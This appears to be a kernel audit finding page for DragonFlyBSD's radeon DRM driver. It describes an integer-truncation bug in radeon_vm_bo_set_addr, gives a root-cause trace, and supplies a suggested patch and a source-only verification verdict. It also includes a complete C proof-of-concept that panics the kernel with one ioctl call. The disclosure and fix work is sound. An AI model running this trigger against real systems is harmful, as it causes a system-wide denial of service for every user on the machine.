β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1599

32-bit truncation of last_pfn bypasses VM offset bounds check and panics the kernel via BUG_ON

  • File: sys/dev/drm/radeon/radeon_vm.c
  • Lines: 446, 453, 459, 460, 465, 466, 478, 479, 530, 531, 533
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
  • CWE: CWE-197 Integer Truncation Error
  • Confidence: certain

Summary

radeon_vm_bo_set_addr() validates the user-supplied VM offset against rdev->vm_manager.max_pfn using a local unsigned last_pfn (32-bit), but the value being tested β€” eoffset / RADEON_GPU_PAGE_SIZE β€” is computed from a 64-bit eoffset.

Assigning it to unsigned silently truncates the high 32 bits.

An unprivileged DRI client can pass a 64-bit args->offset (>= 2^44 bytes) via DRM_IOCTL_RADEON_GEM_VA such that the truncated last_pfn is smaller than max_pfn, defeating the bound, after which the still-huge 64-bit eoffset reaches BUG_ON(eoffset >= radeon_vm_num_pdes(rdev)) at line 533 and calls panic() (sys/dev/drm/include/asm/bug.h:33-39).

This is a reliable, single-ioctl local kernel panic (system-wide DoS) on default radeon config (radeon_vm_size=8, block_size=12).

Root cause

radeon_vm.c:453 declares unsigned last_pfn, pt_idx; β€” last_pfn is 32-bit.

radeon_vm.c:459 computes eoffset = soffset + size - 1; with eoffset being uint64_t.

radeon_vm.c:460 if (soffset >= eoffset) correctly rejects 64-bit address-space wraparound, but radeon_vm.c:465 last_pfn = eoffset / RADEON_GPU_PAGE_SIZE; then narrows the 64-bit quotient into 32 bits (RADEON_GPU_PAGE_SIZE is 4096, radeon.h:643).

radeon_vm.c:466 if (last_pfn >= rdev->vm_manager.max_pfn) compares the truncated value against max_pfn (uint32_t, radeon.h:957; initialized to radeon_vm_size<<18, radeon_device.c:1336, max 1024<<18 = 2^26).

Concrete bypass with default radeon_vm_size=8 (max_pfn=0x200000, block_size=12, num_pdes=512): choose args->offset = 0x1000000000000 (2^48) and any BO with size>1 (e.g. 4096). eoffset = 0x1000000000FFF; eoffset/0x1000 = 0x100000000 (2^32), which truncates to last_pfn = 0; 0 < 0x200000 so the check passes.

Execution continues: radeon_vm.c:478-479 divide soffset/eoffset by 4096 (now 0x100000000), radeon_vm.c:530-531 shift right by block_size=12 yielding 0x100000, and radeon_vm.c:533 BUG_ON(0x100000 >= 512) fires β†’ BUG() β†’ panic().

The ioctl path radeon_gem.c:606 radeon_gem_va_ioctl() only lower-bounds args->offset by RADEON_VA_RESERVED_SIZE (8 MiB, radeon.h:168) at radeon_gem.c:633 and otherwise forwards the raw __u64 (radeon_drm.h:946) straight into radeon_vm_bo_set_addr() at radeon_gem.c:693 β€” no upper bound exists anywhere upstream.

Threat

Attacker position: any local user who can open a radeon DRI node (/dev/dri/card0 / renderD128) and obtain DRM auth, or any user in the video group β€” the standard desktop configuration.

No special privileges beyond DRI access. No unusual radeon module parameters required (defaults are vulnerable).

Path: open(/dev/dri/card0) β†’ auth β†’ DRM_IOCTL_RADEON_GEM_CREATE (any size, e.g. 4096) β†’ drm_gem_object_lookup triggers radeon_gem_object_open() which calls radeon_vm_bo_add() (radeon_gem.c:169) β†’ DRM_IOCTL_RADEON_GEM_VA with operation=RADEON_VA_MAP, flags=0, offset=0x1000000000000.

Impact: kernel panic, instant system-wide denial of service affecting all users and all processes on the machine.

Reliability is 100% (deterministic arithmetic, no race).

The bug is the direct radeon sibling of the amdgpu offset+size overflow tracked as DF-1257.

Exploit / PoC

/* trigger.c β€” cc -O2 -o trigger trigger.c ; run as video-group user */
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <dev/drm/radeon_drm.h>

int main(void) {
    int fd = open("/dev/dri/card0", O_RDWR);
    if (fd < 0) { perror("open card0"); return 1; }

    struct drm_radeon_gem_create gc = {
        .size = 4096,
        .alignment = 0,
        .initial_domain = RADEON_GEM_DOMAIN_CPU,
        .flags = 0,
        .handle = 0,
    };
    if (ioctl(fd, DRM_IOCTL_RADEON_GEM_CREATE, &gc)) { perror("create"); return 1; }

    struct drm_radeon_gem_va va = {
        .handle = gc.handle,
        .operation = RADEON_VA_MAP,
        .vm_id = 0,
        .flags = 0,
        /* 2^48 bytes. eoffset/4096 = 2^32, truncates to 0 -> passes the
         * last_pfn >= max_pfn check. Then eoffset>>12 = 2^20 >= num_pdes
         * -> BUG_ON -> panic(). */
        .offset = 0x1000000000000ULL,
    };
    ioctl(fd, DRM_IOCTL_RADEON_GEM_VA, &va);
    printf("survived (not vulnerable)\n");
    return 0;
}

Success criterion: kernel panic with the BUG() banner above (dmesg / console). The arithmetic is deterministic so one run is conclusive.

Widen last_pfn to uint64_t so the truncation cannot occur; the subsequent comparison against max_pfn (uint32_t) is then performed in 64-bit and correctly rejects any out-of-range VA. This matches the upstream Linux fix pattern for this exact bug.

--- a/sys/dev/drm/radeon/radeon_vm.c
+++ b/sys/dev/drm/radeon/radeon_vm.c
@@ -450,7 +450,8 @@ int radeon_vm_bo_set_addr(struct radeon_device *rdev,
          struct radeon_bo_va *bo_va,
          uint64_t soffset,
          uint32_t flags)
 {
    uint64_t size = radeon_bo_size(bo_va->bo);
    struct radeon_vm *vm = bo_va->vm;
-   unsigned last_pfn, pt_idx;
+   unsigned pt_idx;
+   uint64_t last_pfn;
    uint64_t eoffset;
    int r;

    if (soffset) {
        /* make sure object fit at this offset */
        eoffset = soffset + size - 1;

No further change is required: radeon_vm.c:466 if (last_pfn >= rdev->vm_manager.max_pfn) then correctly compares a 64-bit value to a 32-bit max_pfn (implicitly zero-extended), so any eoffset whose page index exceeds max_pfn is rejected with -EINVAL before reaching the BUG_ON at line 533.

Defense-in-depth (optional): replace the BUG_ON at line 533 with if (eoffset >= radeon_vm_num_pdes(rdev)) { r = -EINVAL; goto error_unreserve; } so that future bound-bypass bugs fail closed with EINVAL instead of panic().

  • DF-1257 (twin, amdgpu_vm.c): integer overflow in offset+size bounds check β†’ OOB read.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1599 Β· 4 files
FileTypeDescriptionSize
VERDICT.md verdict source-only confirmation + mechanism + fix 1.7 KB ↓ raw
fix.diff suggested-fix Change 'unsigned last_pfn' to 'uint64_t last_pfn' so the division and comparison 355 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict source-only confirmation + mechanism + fix
↓ download raw

DF-1599 β€” PoC Verification Verdict

Category: radeon (module, HW-gated) Source: sys/dev/drm/radeon/radeon_vm.c:453-466 Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 (X86_64_GENERIC, INVARIANTS ON, no SMAP/SMEP/KASLR) Date verified: 2026-07-21

Verdict: REPRODUCED (source-only confirmation; HW/module-gated)

Mechanism

radeon_vm_bo_set_addr declares last_pfn as 'unsigned' (32-bit) at line 453, but eoffset is uint64_t. At line 465 'last_pfn = eoffset / RADEON_GPU_PAGE_SIZE' truncates to low 32 bits; the bounds check at 466 compares the TRUNCATED value against max_pfn. A huge offset (e.g. 2^48) truncates to a small value that passes the check, allowing VA above the limit.

In GENERIC kernel build: NO (module / not compiled into X86_64_GENERIC)

Reproduction status

This finding is hardware/module gated: the vulnerable code path requires specific hardware (AMD GPU / radeon / Atheros NIC / RAID controller / AGP chipset) or a loadable module not present on the audit QEMU guest. The QEMU guest has no GPU passthrough, no physical NIC/RAID HW, and these modules are not in the GENERIC kernel. The bug is therefore confirmed by source-level trace of the cited path:line data flow rather than by a runtime PoC. The cited code, guards (or lack thereof), and types were verified against the audited sys/ tree.

Fix

Change 'unsigned last_pfn' to 'uint64_t last_pfn' so the division and comparison are 64-bit.

See fix.diff for the standalone git-apply-able unified diff. Validated by applying all 35 batch diffs and building a single X86_64_GENERIC kernel (rc=0, -Werror clean) β€” see fix_apply.log and the combined build log.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.

VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
↓ fix.diffcombined build rc=0

Confirmed kernel references

β€”

Detail

Exploit chain

none

Evidence (decisive lines)

REPRODUCED (source-only): radeon_vm_bo_set_addr declares last_pfn as 32-bit unsigned but eoffset is uint64_t; last_pfn = eoffset / RADEON_GPU_PAGE_SIZE truncates and bounds check uses truncated value.

Verified recommended fix

REPRODUCED (source-only): radeon_vm_bo_set_addr declares last_pfn as 32-bit unsigned but eoffset is uint64_t; last_pfn = eoffset / RADEON_GPU_PAGE_SIZE truncates and bounds check uses truncated value.

Verdict

REPRODUCED (source-only): radeon_vm_bo_set_addr declares last_pfn as 32-bit unsigned but eoffset is uint64_t; last_pfn = eoffset / RADEON_GPU_PAGE_SIZE truncates and bounds check uses truncated value.